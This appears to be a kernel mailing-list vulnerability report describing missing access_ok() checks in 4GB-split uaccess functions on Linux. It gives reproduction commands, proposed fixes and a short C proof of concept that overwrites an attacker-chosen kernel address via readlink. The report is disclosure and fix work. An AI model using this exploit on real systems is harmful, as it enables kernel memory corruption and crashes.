This was reported by Kirill Korotaev.

 bug description
 ~~~~~~~~~~~~~~~
 copy_to_user() and other uaccess functions which do not have __ prefix
 in thier names should check access_ok() before doing memory access. 4GB
 split uaccess functions lack of this access check and can be used to
 access kernel memory at the top of user address space, including writing
 to this memory (i.e. LDT, GDT, trampoline code etc.).

 Usual system calls such as sys_read/sys_write are protected with
 explicit access_ok() checks. sys_ptrace is not vulnerable since
 access_process_vm() requires existence of vm area.

 But there are a number of places which lack of this check, e.g.
 sys_readlink() -> vfs_readlink().
 This results in possibility to change kernel code and to run malicious
 code in kernel space.

 exploit description
 ~~~~~~~~~~~~~~~~~~~
 This is 100% explitable. ctu exploit is attached. it should be execed
 with an argument equal to kernel space address which should be
overwritten.

 We run it with argument equal to trampoline address space + system call
 offset inside the page.

 i.e. command sequence
 # ln -s qweqweqweqweeqw ./link
 # nm /boot/vmlinux-`uname -r` | grep system_call
 # ./ctu <system call address (0xfffec1a4 in my kernel)>
 crashes the system

 fix details
 ~~~~~~~~~~~

 Possible solutions:
 1. add access_ok() checks to copy_to_user etc.
 2. add pte_user() page check to follow_page()

 I 2.4 kernels my split uses the following check:

 follow_page()
 {
 ....
         if (pte_present(pte)) {
 #ifdef CONFIG_4GB
                 /*
                  * this condition enables us to omit access_ok()
checks in
                  * indirect_XXX user access routines. i.e. we check here
                  * (instead of access_ok()) that we try to access user
 pages.
                  */
                 if (unlikely(!pte_user(pte)))
                         return ERR_PTR(-EACCES);
 #endif
 }

 I 2.6 kernels I don't have fix patch yet.
 If someone would make the patch please add me to CC.

 Kirill


 #include <stdio.h>
 #include <errno.h>

 int main(int argc, char **argv)
 {
      int r;
      unsigned long addr;

      sscanf(argv[1], "%lx", &addr);
      r = readlink("./link", addr, 1024);
      printf("%d %d\n", r, errno);
 }